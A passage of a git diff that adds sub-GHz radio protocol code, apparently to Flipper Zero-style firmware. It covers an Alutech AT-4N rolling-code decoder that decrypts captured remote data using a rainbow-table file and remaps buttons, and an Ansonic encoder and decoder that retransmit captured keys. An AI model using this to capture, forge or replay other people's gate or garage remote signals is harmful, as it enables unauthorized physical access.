+                 subghz_protocol_alutech_at_4n_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_long) <
+                 subghz_protocol_alutech_at_4n_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                if(instance->decoder.decode_count_bit == 64) {
+                    instance->generic.data_2 = instance->decoder.decode_data;
+                    instance->decoder.decode_data = 0;
+                }
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
+                 subghz_protocol_alutech_at_4n_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
+                 subghz_protocol_alutech_at_4n_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                if(instance->decoder.decode_count_bit == 64) {
+                    instance->generic.data_2 = instance->decoder.decode_data;
+                    instance->decoder.decode_data = 0;
+                }
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+                instance->header_count = 0;
+            }
+        } else {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param file_name Full path to rainbow table the file
+ */
+static void subghz_protocol_alutech_at_4n_remote_controller(
+    SubGhzBlockGeneric* instance,
+    uint8_t crc,
+    const char* file_name) {
+    /**
+ *  Message format 72bit LSB first
+ *           data        crc
+ *      XXXXXXXXXXXXXXXX  CC
+ *  
+ *  For analysis, you need to turn the package MSB
+ *  in decoded messages format
+ * 
+ *     crc1 serial  cnt  key
+ *      cc SSSSSSSS XXxx BB 
+ * 
+ *  crc1 is calculated from the lower part of cnt
+ *  key 1=0xff, 2=0x11, 3=0x22, 4=0x33, 5=0x44
+ * 
+ */
+
+    bool status = false;
+    uint64_t data = subghz_protocol_blocks_reverse_key(instance->data, 64);
+    crc = subghz_protocol_blocks_reverse_key(crc, 8);
+
+    if(crc == subghz_protocol_alutech_at_4n_crc(data)) {
+        data = subghz_protocol_alutech_at_4n_decrypt(data, file_name);
+        status = true;
+    }
+
+    if(status && ((uint8_t)(data >> 56) ==
+                  subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF)))) {
+        instance->btn = (uint8_t)data & 0xFF;
+        instance->cnt = (uint16_t)(data >> 8) & 0xFFFF;
+        instance->serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
+    }
+
+    if(!status) {
+        instance->btn = 0;
+        instance->cnt = 0;
+        instance->serial = 0;
+    }
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(4);
+}
+
+uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    return (uint8_t)instance->crc;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
+        FURI_LOG_E(TAG, "Unable to add CRC");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return res;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_alutech_at_4n_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Missing CRC");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            alutech_at4n_counter_mode = 0;
+        }
+
+    } while(false);
+    return ret;
+}
+
+static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0x22;
+            break;
+        case 0x22:
+            btn = 0x11;
+            break;
+        case 0xFF:
+            btn = 0x11;
+            break;
+        case 0x44:
+            btn = 0x11;
+            break;
+        case 0x33:
+            btn = 0x11;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0x44;
+            break;
+        case 0x22:
+            btn = 0x44;
+            break;
+        case 0xFF:
+            btn = 0x44;
+            break;
+        case 0x44:
+            btn = 0xFF;
+            break;
+        case 0x33:
+            btn = 0x44;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0x33;
+            break;
+        case 0x22:
+            btn = 0x33;
+            break;
+        case 0xFF:
+            btn = 0x33;
+            break;
+        case 0x44:
+            btn = 0x33;
+            break;
+        case 0x33:
+            btn = 0x22;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x11:
+            btn = 0xFF;
+            break;
+        case 0x22:
+            btn = 0xFF;
+            break;
+        case 0xFF:
+            btn = 0x22;
+            break;
+        case 0x44:
+            btn = 0x22;
+            break;
+        case 0x33:
+            btn = 0xFF;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    subghz_protocol_alutech_at_4n_remote_controller(
+        &instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
+    uint32_t code_found_hi = instance->generic.data >> 32;
+    uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s\r\n"
+        "Key:0x%08lX%08lX\nCRC:%02X  %dbit\r\n"
+        "Sn:0x%08lX  Btn:0x%01X\r\n"
+        "Cnt:%04lX\r\n",
+        instance->generic.protocol_name,
+        code_found_hi,
+        code_found_lo,
+        (uint8_t)instance->crc,
+        instance->generic.data_count_bit,
+        instance->generic.serial,
+        instance->generic.btn,
+        instance->generic.cnt);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.h
new file mode 100644
index 000000000..a57152556
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.h
@@ -0,0 +1,108 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME "Alutech AT-4N"
+
+typedef struct SubGhzProtocolDecoderAlutech_at_4n SubGhzProtocolDecoderAlutech_at_4n;
+typedef struct SubGhzProtocolEncoderAlutech_at_4n SubGhzProtocolEncoderAlutech_at_4n;
+
+extern const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder;
+extern const SubGhzProtocol subghz_protocol_alutech_at_4n;
+
+/**
+ * Allocate SubGhzProtocolEncoderAlutech_at_4n.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderAlutech_at_4n* pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ */
+void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ */
+void subghz_protocol_encoder_alutech_at_4n_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ */
+void subghz_protocol_encoder_alutech_at_4n_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderAlutech_at_4n instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderAlutech_at_4n.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderAlutech_at_4n* pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ */
+void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ */
+void subghz_protocol_decoder_alutech_at_4n_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ */
+void subghz_protocol_decoder_alutech_at_4n_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_alutech_at_4n_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_alutech_at_4n_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderAlutech_at_4n.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_alutech_at_4n_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderAlutech_at_4n instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.c
new file mode 100644
index 000000000..692e4aea5
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.c
@@ -0,0 +1,344 @@
+#include "ansonic.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolAnsonic"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
+#define CNT_TO_DIP(dip)                                                                     \
+    (dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'),     \
+        (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), (dip & 0x0040 ? '1' : '0'), \
+        (dip & 0x0020 ? '1' : '0'), (dip & 0x0010 ? '1' : '0'), (dip & 0x0001 ? '1' : '0'), \
+        (dip & 0x0008 ? '1' : '0')
+
+static const SubGhzBlockConst subghz_protocol_ansonic_const = {
+    .te_short = 555,
+    .te_long = 1111,
+    .te_delta = 120,
+    .min_count_bit_for_found = 12,
+};
+
+struct SubGhzProtocolDecoderAnsonic {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderAnsonic {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    AnsonicDecoderStepReset = 0,
+    AnsonicDecoderStepFoundStartBit,
+    AnsonicDecoderStepSaveDuration,
+    AnsonicDecoderStepCheckDuration,
+} AnsonicDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder = {
+    .alloc = subghz_protocol_decoder_ansonic_alloc,
+    .free = subghz_protocol_decoder_ansonic_free,
+
+    .feed = subghz_protocol_decoder_ansonic_feed,
+    .reset = subghz_protocol_decoder_ansonic_reset,
+
+    .get_hash_data = subghz_protocol_decoder_ansonic_get_hash_data,
+    .serialize = subghz_protocol_decoder_ansonic_serialize,
+    .deserialize = subghz_protocol_decoder_ansonic_deserialize,
+    .get_string = subghz_protocol_decoder_ansonic_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder = {
+    .alloc = subghz_protocol_encoder_ansonic_alloc,
+    .free = subghz_protocol_encoder_ansonic_free,
+
+    .deserialize = subghz_protocol_encoder_ansonic_deserialize,
+    .stop = subghz_protocol_encoder_ansonic_stop,
+    .yield = subghz_protocol_encoder_ansonic_yield,
+};
+
+const SubGhzProtocol subghz_protocol_ansonic = {
+    .name = SUBGHZ_PROTOCOL_ANSONIC_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_FM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_ansonic_decoder,
+    .encoder = &subghz_protocol_ansonic_encoder,
+};
+
+void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderAnsonic* instance = malloc(sizeof(SubGhzProtocolEncoderAnsonic));
+
+    instance->base.protocol = &subghz_protocol_ansonic;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_ansonic_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAnsonic* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderAnsonic instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_ansonic_get_upload(SubGhzProtocolEncoderAnsonic* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short * 35);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_ansonic_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_ansonic_const.te_short);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAnsonic* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        res = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_ansonic_const.min_count_bit_for_found);
+        if(res != SubGhzProtocolStatusOk) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_ansonic_get_upload(instance)) {
+            res = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_ansonic_stop(void* context) {
+    SubGhzProtocolEncoderAnsonic* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_ansonic_yield(void* context) {
+    SubGhzProtocolEncoderAnsonic* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderAnsonic* instance = malloc(sizeof(SubGhzProtocolDecoderAnsonic));
+    instance->base.protocol = &subghz_protocol_ansonic;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_ansonic_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_ansonic_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    instance->decoder.parser_step = AnsonicDecoderStepReset;
+}
+
+void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case AnsonicDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short * 35) <
+                        subghz_protocol_ansonic_const.te_delta * 35)) {
+            //Found header Ansonic
+            instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
+        }
+        break;
+    case AnsonicDecoderStepFoundStartBit:
+        if(!level) {
+            break;
+        } else if(
+            DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
+            subghz_protocol_ansonic_const.te_delta) {
+            //Found start bit Ansonic
+            instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = AnsonicDecoderStepReset;
+        }
+        break;
+    case AnsonicDecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_ansonic_const.te_short * 4)) {
+                instance->decoder.parser_step = AnsonicDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_ansonic_const.min_count_bit_for_found) {
+                    instance->generic.serial = 0x0;
+                    instance->generic.btn = 0x0;
+
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = AnsonicDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = AnsonicDecoderStepReset;
+        }
+        break;
+    case AnsonicDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_short) <
+                subghz_protocol_ansonic_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_long) <
+                subghz_protocol_ansonic_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_ansonic_const.te_long) <
+                 subghz_protocol_ansonic_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_ansonic_const.te_short) <
+                 subghz_protocol_ansonic_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = AnsonicDecoderStepSaveDuration;
+            } else
+                instance->decoder.parser_step = AnsonicDecoderStepReset;
+        } else {
+            instance->decoder.parser_step = AnsonicDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_ansonic_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+ *        12345678(10) k   9                    
+ * AAA => 10101010 1   01  0
+ *
+ * 1...10 - DIP
+ * k- KEY
+ */
+    instance->cnt = instance->data & 0xFFF;
+    instance->btn = ((instance->data >> 1) & 0x3);
+}
+
+uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_ansonic_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAnsonic* instance = context;
+    subghz_protocol_ansonic_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%03lX\r\n"
+        "Btn:%X\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.btn,
+        CNT_TO_DIP(instance->generic.cnt));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.h
new file mode 100644
index 000000000..955853187
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_ANSONIC_NAME "Ansonic"
+
+typedef struct SubGhzProtocolDecoderAnsonic SubGhzProtocolDecoderAnsonic;
+typedef struct SubGhzProtocolEncoderAnsonic SubGhzProtocolEncoderAnsonic;
+
+extern const SubGhzProtocolDecoder subghz_protocol_ansonic_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_ansonic_encoder;
+extern const SubGhzProtocol subghz_protocol_ansonic;
+
+/**
+ * Allocate SubGhzProtocolEncoderAnsonic.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderAnsonic* pointer to a SubGhzProtocolEncoderAnsonic instance
+ */
+void* subghz_protocol_encoder_ansonic_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ */
+void subghz_protocol_encoder_ansonic_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ */
+void subghz_protocol_encoder_ansonic_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderAnsonic instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_ansonic_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderAnsonic.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderAnsonic* pointer to a SubGhzProtocolDecoderAnsonic instance
+ */
+void* subghz_protocol_decoder_ansonic_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ */
+void subghz_protocol_decoder_ansonic_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ */
+void subghz_protocol_decoder_ansonic_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_ansonic_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_ansonic_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return true On success
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_ansonic_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderAnsonic.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ansonic_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderAnsonic instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_ansonic_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/base.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/base.c
new file mode 100644
index 000000000..acbdfe2b9
--- /dev/null
